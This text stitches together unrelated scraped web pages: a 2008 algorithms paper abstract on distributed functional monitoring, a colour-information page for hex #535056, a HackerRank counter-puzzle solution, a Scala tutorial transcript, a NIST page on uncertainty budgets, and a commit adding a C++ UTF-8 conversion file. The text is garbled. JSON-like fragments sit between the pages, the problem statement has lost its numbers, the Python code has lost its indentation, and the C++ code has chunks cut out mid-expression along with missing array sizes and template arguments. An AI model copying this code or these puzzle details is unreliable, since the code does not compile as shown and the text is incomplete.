"# Algorithms for distributed functional monitoring\n\nGraham Cormode, S. Muthukrishnan, Ke Yi\n\nResearch output: Chapter in Book/Report/Conference proceedingConference contribution\n\n## Abstract\n\nWe study what we call functional monitoring problems. We have k players each tracking their inputs, say player i tracking a multiset A i(t) up until time t, and communicating with a central coordinator. The coordinator's task is to monitor a given function / computed over the union of the inputs ∪ iA iv(t), continuously at all times t. The goal is to minimize the number of bits communicated between the players and the coordinator. A simple example is when / is the sum, and the coordinator is required to alert when the sum of a distributed set of values exceeds a given threshold τ. Of interest is the approximate version where the coordinator outputs 1 if ≥ t and 0 if / ≤ (1 - ∈)τ. This defines the (k, f,τ,∈) distributed, functional monitoring problem. Functional monitoring problems are fundamental in distributed systems, in particular sensor networks, where we must minimize communication; they also connect to problems in communication complexity, communication theory, and signal processing. Yet few formal bounds are known lor functional monitoring. We give upper and lower bounds for the (k, f,τ,∈) problem for some of the basic f's. In particular, we study frequency moments (F 0, F 1,F 2). For F 0 and F 1, we obtain continuously monitoring algorithms with costs almost the same as their one-shot computation algorithms. However, for F 2 the monitoring problem seems much harder. We give a carefully constructed multi-round algorithm that uses \"sketch summaries\" at multiple levels of detail and solves the (k, F 2,τ, ∈) problem with communication Õ(k 2/∈ + (√k/∈) 3). Since frequency moment estimation is central to other problems, our results have immediate applications to histograms, wavelet computations, and others. Our algorithmic techniques are likely to be useful for other functional monitoring problems as well.\n\nOriginal language English (US) Proceedings of the 19th Annual ACM-SIAM Symposium on Discrete Algorithms 1076-1085 10 Published - 2008 19th Annual ACM-SIAM Symposium on Discrete Algorithms - San Francisco, CA, United StatesDuration: Jan 20 2008 → Jan 22 2008\n\n### Publication series\n\nName Proceedings of the Annual ACM-SIAM Symposium on Discrete Algorithms\n\n### Other\n\nOther 19th Annual ACM-SIAM Symposium on Discrete Algorithms United States San Francisco, CA 1/20/08 → 1/22/08\n\n## ASJC Scopus subject areas\n\n• Software\n• Mathematics(all)"
]
| [
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https://www.colorhexa.com/535056 | [
"# #535056 Color Information\n\nIn a RGB color space, hex #535056 is composed of 32.5% red, 31.4% green and 33.7% blue. Whereas in a CMYK color space, it is composed of 3.5% cyan, 7% magenta, 0% yellow and 66.3% black. It has a hue angle of 270 degrees, a saturation of 3.6% and a lightness of 32.5%. #535056 color hex could be obtained by blending #a6a0ac with #000000. Closest websafe color is: #666666.\n\n• R 33\n• G 31\n• B 34\nRGB color chart\n• C 3\n• M 7\n• Y 0\n• K 66\nCMYK color chart\n\n#535056 color description : Very dark grayish violet.\n\n# #535056 Color Conversion\n\nThe hexadecimal color #535056 has RGB values of R:83, G:80, B:86 and CMYK values of C:0.03, M:0.07, Y:0, K:0.66. Its decimal value is 5460054.\n\nHex triplet RGB Decimal 535056 `#535056` 83, 80, 86 `rgb(83,80,86)` 32.5, 31.4, 33.7 `rgb(32.5%,31.4%,33.7%)` 3, 7, 0, 66 270°, 3.6, 32.5 `hsl(270,3.6%,32.5%)` 270°, 7, 33.7 666666 `#666666`\nCIE-LAB 34.495, 2.522, -3.08 8.115, 8.248, 9.968 0.308, 0.313, 8.248 34.495, 3.98, 309.312 34.495, 1.281, -4.204 28.72, 0.179, -0.475 01010011, 01010000, 01010110\n\n# Color Schemes with #535056\n\n• #535056\n``#535056` `rgb(83,80,86)``\n• #535650\n``#535650` `rgb(83,86,80)``\nComplementary Color\n• #505056\n``#505056` `rgb(80,80,86)``\n• #535056\n``#535056` `rgb(83,80,86)``\n• #565056\n``#565056` `rgb(86,80,86)``\nAnalogous Color\n• #505650\n``#505650` `rgb(80,86,80)``\n• #535056\n``#535056` `rgb(83,80,86)``\n• #565650\n``#565650` `rgb(86,86,80)``\nSplit Complementary Color\n• #505653\n``#505653` `rgb(80,86,83)``\n• #535056\n``#535056` `rgb(83,80,86)``\n• #565350\n``#565350` `rgb(86,83,80)``\n• #505356\n``#505356` `rgb(80,83,86)``\n• #535056\n``#535056` `rgb(83,80,86)``\n• #565350\n``#565350` `rgb(86,83,80)``\n• #535650\n``#535650` `rgb(83,86,80)``\n• #2d2b2e\n``#2d2b2e` `rgb(45,43,46)``\n• #3a373c\n``#3a373c` `rgb(58,55,60)``\n• #464449\n``#464449` `rgb(70,68,73)``\n• #535056\n``#535056` `rgb(83,80,86)``\n• #605c63\n``#605c63` `rgb(96,92,99)``\n• #6d6970\n``#6d6970` `rgb(109,105,112)``\n• #79757e\n``#79757e` `rgb(121,117,126)``\nMonochromatic Color\n\n# Alternatives to #535056\n\nBelow, you can see some colors close to #535056. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #525056\n``#525056` `rgb(82,80,86)``\n• #525056\n``#525056` `rgb(82,80,86)``\n• #535056\n``#535056` `rgb(83,80,86)``\n• #535056\n``#535056` `rgb(83,80,86)``\n• #545056\n``#545056` `rgb(84,80,86)``\n• #545056\n``#545056` `rgb(84,80,86)``\n• #555056\n``#555056` `rgb(85,80,86)``\nSimilar Colors\n\n# #535056 Preview\n\nThis text has a font color of #535056.\n\n``<span style=\"color:#535056;\">Text here</span>``\n#535056 background color\n\nThis paragraph has a background color of #535056.\n\n``<p style=\"background-color:#535056;\">Content here</p>``\n#535056 border color\n\nThis element has a border color of #535056.\n\n``<div style=\"border:1px solid #535056;\">Content here</div>``\nCSS codes\n``.text {color:#535056;}``\n``.background {background-color:#535056;}``\n``.border {border:1px solid #535056;}``\n\n# Shades and Tints of #535056\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #050405 is the darkest color, while #fafafa is the lightest one.\n\n• #050405\n``#050405` `rgb(5,4,5)``\n• #0e0e0f\n``#0e0e0f` `rgb(14,14,15)``\n• #181719\n``#181719` `rgb(24,23,25)``\n• #222123\n``#222123` `rgb(34,33,35)``\n• #2c2a2d\n``#2c2a2d` `rgb(44,42,45)``\n• #363438\n``#363438` `rgb(54,52,56)``\n• #3f3d42\n``#3f3d42` `rgb(63,61,66)``\n• #49474c\n``#49474c` `rgb(73,71,76)``\n• #535056\n``#535056` `rgb(83,80,86)``\n• #5d5960\n``#5d5960` `rgb(93,89,96)``\n• #67636a\n``#67636a` `rgb(103,99,106)``\n• #706c74\n``#706c74` `rgb(112,108,116)``\n• #7a767f\n``#7a767f` `rgb(122,118,127)``\n• #848088\n``#848088` `rgb(132,128,136)``\n• #8e8a92\n``#8e8a92` `rgb(142,138,146)``\n• #98949b\n``#98949b` `rgb(152,148,155)``\n• #a19ea5\n``#a19ea5` `rgb(161,158,165)``\n• #aba8ae\n``#aba8ae` `rgb(171,168,174)``\n• #b5b2b8\n``#b5b2b8` `rgb(181,178,184)``\n• #bfbdc1\n``#bfbdc1` `rgb(191,189,193)``\n• #c9c7cb\n``#c9c7cb` `rgb(201,199,203)``\n• #d3d1d4\n``#d3d1d4` `rgb(211,209,212)``\n• #dcdbde\n``#dcdbde` `rgb(220,219,222)``\n• #e6e5e7\n``#e6e5e7` `rgb(230,229,231)``\n• #f0eff0\n``#f0eff0` `rgb(240,239,240)``\n• #fafafa\n``#fafafa` `rgb(250,250,250)``\nTint Color Variation\n\n# Tones of #535056\n\nA tone is produced by adding gray to any pure hue. In this case, #535056 is the less saturated color, while #5303a3 is the most saturated one.\n\n• #535056\n``#535056` `rgb(83,80,86)``\n• #534a5c\n``#534a5c` `rgb(83,74,92)``\n• #534363\n``#534363` `rgb(83,67,99)``\n• #533d69\n``#533d69` `rgb(83,61,105)``\n• #533670\n``#533670` `rgb(83,54,112)``\n• #533076\n``#533076` `rgb(83,48,118)``\n• #532a7c\n``#532a7c` `rgb(83,42,124)``\n• #532383\n``#532383` `rgb(83,35,131)``\n• #531d89\n``#531d89` `rgb(83,29,137)``\n• #53178f\n``#53178f` `rgb(83,23,143)``\n• #531096\n``#531096` `rgb(83,16,150)``\n• #530a9c\n``#530a9c` `rgb(83,10,156)``\n• #5303a3\n``#5303a3` `rgb(83,3,163)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #535056 is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population"
]
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https://www.thepoorcoder.com/hackerrank-strange-counter-solution/ | [
"Hackerrank - Strange Counter Solution\n\n# Hackerrank - Strange Counter Solution",
null,
"Bob has a strange counter. At the first second, it displays the number . Each second, the number displayed by the counter decrements by until it reaches .\n\nThe counter counts down in cycles. In next second, the timer resets to and continues counting down. The diagram below shows the counter values for each time in the first three cycles:\n\nFind and print the value displayed by the counter at time .\n\nFunction Description\n\nComplete the strangeCounter function in the editor below. It should return the integer value displayed by the counter at time .\n\nstrangeCounter has the following parameter(s):\n\n• t: an integer\n\nInput Format\n\nA single integer denoting the value of .\n\nConstraints\n\n• for of the maximum score.\n\nOutput Format\n\nPrint the value displayed by the strange counter at the given time .\n\nSample Input\n\n4\n\n\nSample Output\n\n6\n\n\nExplanation\n\nTime marks the beginning of the second cycle. It is double the number displayed at the beginning of the first cycle:. This is also shown in the diagram in the Problem Statement above.\n\n### Solution in Python\n\ndef strangeCounter(t):\nn=3\nwhile 2*n-2<=t:\nn*=2\nreturn n-(t-(n-2))\n\nprint(strangeCounter(int(input())))\n\n\nWe can see that the number on the top right corner of each cycle equals to the 3rd item on the left column. And also it equals to the number of rows in that particular cycle.\n\nAnother interesting pattern we can observe is that the number on the top right corner doubles each cycle 3, 6, 12, 24, 48.....\n\nWe can use this value to check in which cycle our given time falls.\n\nLet us assume t = 15\n\nFirst we will find in which cycle 15 falls in. Let us start by initializing n = 3\n\nFor n=3, the values of t will range from n-2 =1 to n-2+n=4 (4 exclusive), n-2+n can also be written as n*2-2.\n\nNow, since t = 15 doesn't fall between 1 and 3 we will double the value of n.\n\nFor n = 6, t ranges from n-2=4 to n-2+n=10.\n\nAgain, t = 15 doesn't fall under 6 and 10. Therefore we will double the value of n again.\n\nFor n = 12, t ranges from n-2 = 10 to n-2+n = 22.\n\nt = 15 falls between 10 to 22.\n\nNow we subtract the starting number of our cycle which is n-2=10 from t.\n\nt-(n-2) = 15-10=5\n\nNow we just have to subtract the result from n and we will get our required answer\n\nn-5 = 12-5 = 7"
]
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null,
"https://images.unsplash.com/photo-1456574808786-d2ba7a6aa654",
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https://cloudxlab.com/assessment/slide/16/scala/350/scala-quick-introduction-variables-and-methods | [
"",
null,
"2 / 52\n\n# Scala - Quick Introduction - Variables and Methods\n\nVideo Transcript:\n\nIn the previous step, we started Scala successfully. Let's continue from there. You can use this Scala console a very simple calculator as well.\n\nSo, if you type 2+4 it would compute the sum. You can see that it has given the answer as 6 and also defined a variable called res0 which contains the result. The data type of res0 is Int which means integer.\n\nTo see the value of a variable you can simply type the name of the variable and it would print the value contained in the variable.\n\nYou can see that it has displayed the value of res0.\n\nWe can also define our own variables by using var. So, if I say var x = 10, it would create x having value as 10.\n\nLet's check the value of x by simplifying typing it.\n\nAlso, we can use x in other calculation. For example: var y = x * 4 So, this first multiplies x by 4 and then it assigns the result to y. You can see that the value of y is 40.\n\nThe way we have used addition and multiplication operators so far, we also have name operators called methods. These methods take inputs via arguments and optionally returns the result.\n\nFor example, print displays the value on the screen. Let's see.\n\nif you type: print(\"Hello, World\")\n\nIt prints the \"Hello, World\" on the screen.\n\nHere print method takes a string or text as input by the way of the first argument. Also, notice that we define a string by enclosing something in double quotes.\n\nAlso, note that we define a single character by enclosing it in single quotes. You can see that we defined a variable \"a\" having character \"h\" as the value.\n\nThis print is an inbuilt method. There are some other libraries of methods which are provided by scala. For example, math library.\n\nLet import all functions from maths library it by typing: import math._ Now we can use functions such as sqrt() for computing square root of a value.\n\nYou can see the square root of 25 is 5.\n\nNow, let's try to compute simple interest.\n\nLet's define our principal amount is 10 [var principal = 10] And rate_of_interest as 10 percent annually var rate = 10 And duration as 4 year Var duration = 4 So, our interest would be principal * rate * duration divided by 100. var interest = principal * rate * duration / 100.\n\nSo, you can see the interest is 4.\n\nNow, we change the principal amount to 100. And re-execute the formula we will see the interest is 40. Also, note that you can up arrow key to go to previous expressions.\n\nIf principal amount is 500 and rate is 12 % yearly, how much would be the interest for a duration of 5 years.\n\nWe can also define our own methods so that we don't need to write the same code again and again.\n\nLet's define a method called simpleInterest in the following way: def simpleinterest bracket followed by arguments\n\nOur first argument is principal which is integer and second argument is the rate which double or decimal and third argument duration in years which is an integer.\n\nAnd the return type is of type double.\n\nWe start the body of the method after the open curly bracket. Inside this function, we are going to return the simpleinterest which principal * rate * duration divided by 100.\n\nThen we close the curly brackets to mark the end of the method definition.\n\nLet's try to call the method that we have just defined by providing principal as 700, rate of interest is 7, duration as 4 years\n\nYou can see that the interest is 196.\n\nSo, we have created our own interest computing machine which we can use as many times as we wish."
]
| [
null,
"https://www.facebook.com/tr",
null
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https://www.itl.nist.gov/div898/handbook/mpc/section5/mpc56.htm | [
"",
null,
"2. Measurement Process Characterization\n2.5. Uncertainty analysis\n\n## Uncertainty budgets and sensitivity coefficients\n\nCase study showing uncertainty budget Uncertainty components are listed in a table along with their corresponding sensitivity coefficients, standard deviations and degrees of freedom. A table of typical entries illustrates the concept.\n\nTypical budget of type A and type B uncertainty components\n\n\n Type A components Sensitivity coefficient Standard deviation Degrees freedom 1. Time (repeatability) $$a_1$$ $$s_1$$ $$\\nu_1$$ 2. Time (reproducibility) $$a_2$$ $$s_2$$ $$\\nu_2$$ 3. Time (long-term) $$a_3$$ $$s_3$$ $$\\nu_3$$ Type B components 4. Reference standard (nominal test / nominal ref) $$s_4$$ $$\\nu_4$$\n Sensitivity coefficients show how components are related to result The sensitivity coefficient shows the relationship of the individual uncertainty component to the standard deviation of the reported value for a test item. The sensitivity coefficient relates to the result that is being reported and not to the method of estimating uncertainty components where the uncertainty, $$u$$, is $$u = \\sqrt{\\sum_{i=1}^R a_i^2 s_i^2}$$ Sensitivity coefficients for type A components of uncertainty This section defines sensitivity coefficients that are appropriate for type A components estimated from repeated measurements. The pages on type A evaluations, particularly the pages related to estimation of repeatability and reproducibility components, should be reviewed before continuing on this page. The convention for the notation for sensitivity coefficients for this section is that: $$a_1$$ refers to the sensitivity coefficient for the repeatability standard deviation, $$s_1$$ $$a_2$$ refers to the sensitivity coefficient for the reproducibility standard deviation, $$s_2$$ $$a_3$$ refers to the sensitivity coefficient for the stability standard deviation, $$s_3$$ with some of the coefficients possibly equal to zero. Note on long-term errors Even if no day-to-day nor run-to-run measurements were made in determining the reported value, the sensitivity coefficient is non-zero if that standard deviation proved to be significant in the analysis of data. Sensitivity coefficients for other type A components of random error Procedures for estimating differences among instruments, operators, etc., which are treated as random components of uncertainty in the laboratory, show how to estimate the standard deviations so that the sensitivity coefficients = 1. Sensitivity coefficients for type A components for bias This Handbook follows the ISO guidelines in that biases are corrected (correction may be zero), and the uncertainty component is the standard deviation of the correction. Procedures for dealing with biases show how to estimate the standard deviation of the correction so that the sensitivity coefficients are equal to one. Sensitivity coefficients for specific applications The following pages outline methods for computing sensitivity coefficients where the components of uncertainty are derived in the following manner: and give an example of an uncertainty budget with sensitivity coefficients from a 3-level design. Sensitivity coefficients for type B evaluations The majority of sensitivity coefficients for type B evaluations will be one with a few exceptions. The sensitivity coefficient for the uncertainty of a reference standard is the nominal value of the test item divided by the nominal value of the reference standard. Case study-sensitivity coefficients for propagation of error If the uncertainty of the reported value is calculated from propagation of error, the sensitivity coefficients are the multipliers of the individual variance terms in the propagation of error formula. Formulas are given for selected functions of:",
null,
""
]
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null,
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null,
"https://www.itl.nist.gov/div898/handbook/gifs/nvgbrbtm.gif",
null
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https://gitea.ttmath.org/tomasz.sowa/pikotools/commit/8c3d76ce13f7bca5ff243801da04e01cb708a8f2 | [
"### moving utf8.cpp from ezc to pikotools\n\n`git-svn-id: svn://ttmath.org/publicrep/pikotools/trunk@367 e52654a7-88a9-db11-a3e9-0013d4bc506e`\nmaster\nparent 8f9887d01a\ncommit 8c3d76ce13\n1 changed files with 896 additions and 0 deletions\n\n#### 896 utf8/utf8.cpp Unescape Escape View File\n\n `@ -0,0 +1,896 @@` ```/* ``` ` * This file is a part of EZC -- Easy templating in C++` ` * and is distributed under the (new) BSD licence.` ` * Author: Tomasz Sowa ` ` */` ``` ``` ```/* ``` ` * Copyright (c) 2010-2011, Tomasz Sowa` ` * All rights reserved.` ` * ` ` * Redistribution and use in source and binary forms, with or without` ` * modification, are permitted provided that the following conditions are met:` ` * ` ` * * Redistributions of source code must retain the above copyright notice,` ` * this list of conditions and the following disclaimer.` ` * ` ` * * Redistributions in binary form must reproduce the above copyright` ` * notice, this list of conditions and the following disclaimer in the` ` * documentation and/or other materials provided with the distribution.` ` * ` ` * * Neither the name Tomasz Sowa nor the names of contributors to this` ` * project may be used to endorse or promote products derived` ` * from this software without specific prior written permission.` ` *` ` * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"` ` * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE` ` * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE` ` * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE` ` * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR` ` * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF` ` * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS` ` * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN` ` * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)` ` * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF` ` * THE POSSIBILITY OF SUCH DAMAGE.` ` */` ``` ``` `#include \"utf8.h\"` ``` ``` ``` ``` `namespace Ezc` `{` ``` ``` ``` ``` ``` ``` ```/*! ``` ` an auxiliary function for converting from UTF-8 string` `*/` `static bool UTF8ToInt_FirstOctet(unsigned char uz, size_t & len, int & res)` `{` ` for(len=0 ; (uz & 0x80) != 0 ; ++len)` ` uz <<= 1;` ``` ``` ` if( len == 1 )` ` return false;` ``` ``` ` res = uz;` ` ` ` if( len > 0 )` ` res >>= len;` ``` ``` ` if( res == 0 )` ` return false;` ``` ``` ` if( len == 0 )` ` len = 1;` ` ` `return true;` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` an auxiliary function for converting from UTF-8 string` `*/` `static bool UTF8ToInt_AddNextOctet(unsigned char uz, int & res)` `{` ` if( (uz & 0xc0) != 0x80 )` ` return false;` ``` ``` ` res <<= 6;` ` res |= (uz & 0x3F);` ``` ``` `return true;` `}` ``` ``` ``` ``` ``` ``` ``` ``` ```/*! ``` ` returns true if 'c' is a correct unicode character` `*/` `bool UTF8_CheckRange(int c)` `{` ` return c>=0 && c<=0x10FFFF && !(c>=0xD800 && c<=0xDFFF);` `}` ``` ``` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts one UTF-8 character into one wide-character` ``` ``` ` input:` ` utf8 - an input UTF-8 string` ` utf8_len - size of the input string,` ` the string should be at least 4 bytes length for correctly` ` recognized the utf-8 sequence` ``` ``` ` output:` ` res - an output character` ` correct - true if it is a correct character` ``` ``` ` the function returns how many characters have been used from the input string` ` (returns zero only if utf8_len is zero)` ` even if there are errors the functions returns a different from zero value` `*/` `size_t UTF8ToInt(const char * utf8, size_t utf8_len, int & res, bool & correct)` `{` `size_t i, len;` ``` ``` ` res = 0;` ` correct = false;` ``` ``` ` if( utf8_len == 0 )` ` return 0;` ``` ``` ` if( !UTF8ToInt_FirstOctet(utf8, len, res) )` ` return 1;` ``` ``` ` if( utf8_len < len )` ` return utf8_len;` ``` ``` ` for(i=1 ; i0xffff )` ` {` ` c -= 0x10000;` ` res += static_cast(((c >> 10) & 0x3FF) + 0xD800);` ` res += static_cast((c & 0x3FF) + 0xDC00);` ` }` ` else` ` {` ` res += static_cast(c);` ` }` `}` ``` ``` ``` ``` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts an utf8 string into wide string (std::wstring)` ``` ``` ` input:` ` utf8 - an input utf8 string` ` utf8_len - size of the input string` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` res - an output wide string` ``` ``` ` the function returns false if there were some errors when converting` `*/` `bool UTF8ToWide(const char * utf8, size_t utf8_len, std::wstring & res, bool clear, int mode)` `{` `int z;` `size_t len;` `bool correct, was_error = false;` ``` ``` ` if( clear )` ` res.clear();` ``` ``` ` while( utf8_len > 0 )` ` {` ` if( (unsigned char)*utf8 <= 0x7f ) ` ` {` ``` // small optimization ``` ` len = 1;` ` correct = true;` ` z = static_cast(*utf8);` ` }` ` else` ` {` ``` len = UTF8ToInt(utf8, utf8_len, z, correct); // the len will be different from zero ``` ` }` ``` ``` ` if( !correct )` ` {` ` if( mode == 1 )` ``` res += 0xFFFD; // U+FFFD \"replacement character\" ``` ``` ``` ` was_error = true;` ` }` ` else` ` {` ` IntToWide(z, res);` ` }` ``` ``` ` utf8 += len;` ` utf8_len -= len;` ` }` ``` ``` `return !was_error;` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts an utf8 string into wide string (std::wstring)` ``` ``` ` input:` ` utf8 - an input utf8 null terminated string` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` res - an output wide string` ``` ``` ` the function returns false if there were some errors when converting` `*/` `bool UTF8ToWide(const char * utf8, std::wstring & res, bool clear, int mode)` `{` `size_t utf8_len = 0;` ``` ``` ` while( utf8[utf8_len] != 0 )` ` utf8_len += 1;` ``` ``` `return UTF8ToWide(utf8, utf8_len, res, clear, mode);` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts an utf8 string into wide string (std::wstring)` ``` ``` ` input:` ` utf8 - an input utf8 string` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` res - an output wide string` ``` ``` ` the function returns false if there were some errors when converting` `*/` `bool UTF8ToWide(const std::string & utf8, std::wstring & res, bool clear, int mode)` `{` ` return UTF8ToWide(utf8.c_str(), utf8.size(), res, clear, mode);` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts an utf8 stream into wide string (std::wstring)` ``` ``` ` input:` ` utf8 - an input utf8 stream` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` res - an output wide string` ``` ``` ` the function returns false if there were some errors when converting` `*/` `bool UTF8ToWide(std::istream & utf8, std::wstring & res, bool clear, int mode)` `{` `int z;` `bool correct, was_error = false;` ``` ``` ` if( clear )` ` res.clear();` ``` ``` ` while( UTF8ToInt(utf8, z, correct) > 0 )` ` {` ` if( !correct )` ` {` ` if( mode == 1 )` ``` res += 0xFFFD; // U+FFFD \"replacement character\" ``` ``` ``` ` was_error = true;` ` }` ` else` ` {` ` IntToWide(z, res);` ` }` ` }` ``` ``` `return !was_error;` `}` ``` ``` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts one wide character into UTF-8 sequence` ``` ``` ` input:` ` z - wide character` ``` ``` ` output:` ` utf8 - a buffer for the output sequence` ` utf8_len - the size of the buffer` ``` ``` ` the function returns how many characters have been written to the utf8,` ` zero means the utf8 buffer is too small or 'z' is an incorrect unicode character` `*/` `size_t IntToUTF8(int z, char * utf8, size_t utf8_max_len)` `{` `char buf;` `int i = 0;` ```int mask = 0x3f; // 6 first bits set ``` ``` ``` ` if( utf8_max_len==0 || !UTF8_CheckRange(z) )` ` return 0;` ``` ``` ` if( z <= 0x7f )` ` {` ` utf8 = static_cast(z);` ` return 1;` ` }` ``` ``` ` do` ` {` ` buf[i] = 0x80 | (z & 0x3f);` ` i += 1;` ` z >>= 6;` ` mask >>= 1;` ` }` ` while( (z & (~mask)) != 0 );` ``` ``` ` unsigned int first = -1;` ` first <<= (7 - i);` ` first |= (z & mask);` ``` ``` ` if( size_t(i+1) > utf8_max_len )` ` return 0;` ``` ``` ` utf8 = static_cast(first);` ``` ``` ` int a = 1;` ` for(--i; i>=0 ; --i, ++a)` ` utf8[a] = buf[i];` ``` ``` `return a;` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts one wide character into UTF-8 string` ``` ``` ` input:` ` z - wide character` ``` ``` ` output:` ` utf8 - a UTF-8 string for the output sequence (the string is not cleared)` ``` ``` ` the function returns how many characters have been written to the utf8 string,` ` zero means that 'z' is an incorrect unicode character` `*/` `size_t IntToUTF8(int z, std::string & utf8, bool clear)` `{` `char buf;` ``` ``` ` if( clear )` ` utf8.clear();` ``` ``` ` size_t len = IntToUTF8(z, buf, sizeof(buf)/sizeof(char));` ` size_t i;` ` ` ` for(i=0 ; i(*wide_string);` ` correct = true;` ``` ``` ` if( sizeof(wchar_t) == 2 && (z>=0xD800 && z<=0xDFFF) )` ` {` ` if( z>=0xD800 && z<=0xDBFF && string_len>1 )` ` {` ` int z2 = *(wide_string+1);` ` ` ` if( z2>=0xDC00 && z2<=0xDFFF )` ` {` ` z = 0x10000 + (((z & 0x3FF) << 10) | (z2 & 0x3FF));` ` return 2;` ` }` ` else` ` {` ` correct = false;` ` return 2;` ` }` ` }` ` else` ` {` ` correct = false;` ` return 1;` ` }` ` }` ` else` ` {` ` return 1;` ` }` `}` ``` ``` ``` ``` ``` ``` ```/* ``` ` an auxiliary function for converting from wide characters to UTF-8` ` converting a wide character into one int` ``` ``` ` returns how many wide characters were used` ` if wide_string has at least one character then the return value is always greater than zero too` `*/` `static size_t WideToInt(const wchar_t * wide_string, int & z, bool & correct)` `{` `size_t min_str_len = 1;` ``` ``` ` if( *wide_string == 0 )` ` {` ` z = 0;` ` correct = false;` ` return 0;` ` }` ``` ``` ` if( *(wide_string+1) != 0 )` ` min_str_len = 2;` ``` ``` `return WideToInt(wide_string, min_str_len, z, correct);` `}` ``` ``` ``` ``` ``` ``` ``` ``` ```/*! ``` ` an auxiliary function for converting from wide characters to UTF-8` ``` ``` ` returns how many wide characters were used` ` if string_len is greater than 0 then the return value is always greater than zero too` `*/` `static size_t WideOneToUTF8(const wchar_t * wide_string, size_t string_len, std::string & utf8, bool & was_error, int mode)` `{` `int z;` `bool correct;` `size_t chars;` ``` ``` ` chars = WideToInt(wide_string, string_len, z, correct);` ``` ``` ` if( correct )` ` correct = IntToUTF8(z, utf8, false) != 0;` ``` ``` ` if( !correct )` ` {` ` if( mode == 1 )` ``` IntToUTF8(0xFFFD, utf8, false); // U+FFFD \"replacement character\" ``` ``` ``` ` was_error = true;` ` }` ``` ``` `return chars;` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` an auxiliary function for converting from wide characters to UTF-8` ``` ``` ` returns how many wide characters were used` ` if wide_string has at least one character then the return value is always greater than zero too` `*/` `static size_t WideOneToUTF8(const wchar_t * wide_string, std::string & utf8, bool & was_error, int mode)` `{` `int z;` `bool correct;` `size_t chars;` ``` ``` ` chars = WideToInt(wide_string, z, correct);` ``` ``` ` if( correct )` ` correct = IntToUTF8(z, utf8, false) != 0;` ``` ``` ` if( !correct )` ` {` ` if( mode == 1 )` ``` IntToUTF8(0xFFFD, utf8, false); // U+FFFD \"replacement character\" ``` ``` ``` ` was_error = true;` ` }` ``` ``` `return chars;` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` an auxiliary function for converting from wide characters to UTF-8` ``` ``` ` returns how many wide characters were used` ` if string_len is greater than 0 then the return value is always greater than zero too` `*/` `static size_t WideOneToUTF8(const wchar_t * wide_string, size_t string_len, std::ostream & utf8, bool & was_error, int mode)` `{` `int z;` `bool correct;` `size_t chars;` ``` ``` ` chars = WideToInt(wide_string, string_len, z, correct);` ``` ``` ` if( correct )` ` correct = IntToUTF8(z, utf8) != 0;` ``` ``` ` if( !correct )` ` {` ` if( mode == 1 )` ``` IntToUTF8(0xFFFD, utf8); // U+FFFD \"replacement character\" ``` ``` ``` ` was_error = true;` ` }` ``` ``` `return chars;` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` an auxiliary function for converting from wide characters to UTF-8` `*/` `static size_t WideOneToUTF8(const wchar_t * wide_string, std::ostream & utf8, bool & was_error, int mode)` `{` `size_t min_str_len = 1;` ``` ``` ` if( *wide_string == 0 )` ` return 0;` ``` ``` ` if( *(wide_string+1) != 0 )` ` min_str_len = 2;` ``` ``` `return WideOneToUTF8(wide_string, min_str_len, utf8, was_error, mode);` `}` ``` ``` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts a wide string into UTF-8 string` ``` ``` ` input:` ` wide_string - a wide string for converting` ` string_len - the size of the string` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` utf8 - a UTF-8 string for the output sequence (the string is not cleared)` ``` ``` ` this function returns false if there were some errors when converting` `*/` `bool WideToUTF8(const wchar_t * wide_string, size_t string_len, std::string & utf8, bool clear, int mode)` `{` `bool was_error = false;` `size_t chars;` ``` ``` ` if( clear )` ` utf8.clear();` ``` ``` ` while( string_len > 0 )` ` {` ` chars = WideOneToUTF8(wide_string, string_len, utf8, 